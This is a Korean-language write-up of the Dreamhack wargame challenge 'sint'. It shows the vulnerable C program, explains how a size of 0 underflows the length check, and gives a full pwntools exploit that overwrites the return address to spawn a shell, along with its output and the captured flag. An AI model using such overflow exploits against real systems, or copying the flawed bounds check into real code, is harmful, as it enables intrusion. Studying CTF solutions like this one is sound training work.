dreamhack - sint writeup
[dreamhack] sint writeup
1. 문제

sint
이 문제는 서버에서 작동하고 있는 서비스(sint)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
셸을 획득한 후, 'flag' 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
size
변수에 입력을 받아서 이 값이 256보다 크거나 0보다 작으면 buffer overflow
를 출력하고 프로그램을 끝낸다.
만약 이 검사를 통과하면 buf
변수에 size-1
만큼 입력받게 된다.
문제 이름이 sint
라고 되어있어서 처음에는 unsigned
와 signed
의 차이를 이용하는 것인가 생각했다.
그런데 잘보면 size
변수가 0일때는 검사를 하지 않는 것을 알 수 있다.
그래서 만약 size
변수에 0을 넣게 되면 검사는 당연히 통과하고 size-1
을 수행할때 256 바이트보다 더 많이 입력이 가능해지면서 bof
가 발생한다.
gdb
를 통해 얼마나 덮어야하는지 확인해보자.
buf
변수가 리턴주소에서 260바이트만큼 떨어져있음을 볼 수 있다.
정리하면 payload
는 아래와 같아질 것이다.
payload = dummy (260) + sfp (4) + get_shell(4)
최종 exploit은 다음과 같다.
from pwn import *
#p = process("./sint")
p = remote("host3.dreamhack.games", 17234)
e = ELF("./sint")
get_shell = e.symbols["get_shell"]
print(p.recvuntil("Size: "))
p.sendline("0")
print(p.recvuntil("Data: "))
payload = b'a' * 260
payload += b'b' * 4
payload += p32(get_shell)
p.send(payload)
p.interactive()
서버에 전송해본 결과이다.
ubuntu@instance-20250406-1126:~/dreamhack/level1/sint$ python3 e_sint.py
[+] Opening connection to host3.dreamhack.games on port 17234: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/sint/sint'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
/home/ubuntu/dreamhack/level1/sint/e_sint.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
print(p.recvuntil("Size: "))
b'Size: '
/home/ubuntu/dreamhack/level1/sint/e_sint.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("0")
/home/ubuntu/dreamhack/level1/sint/e_sint.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
print(p.recvuntil("Data: "))
b'Data: '
[*] Switching to interactive mode
$
$ cat flag
DH{d66e84c453b960cfe37780e8ed9d70ab}$
해결~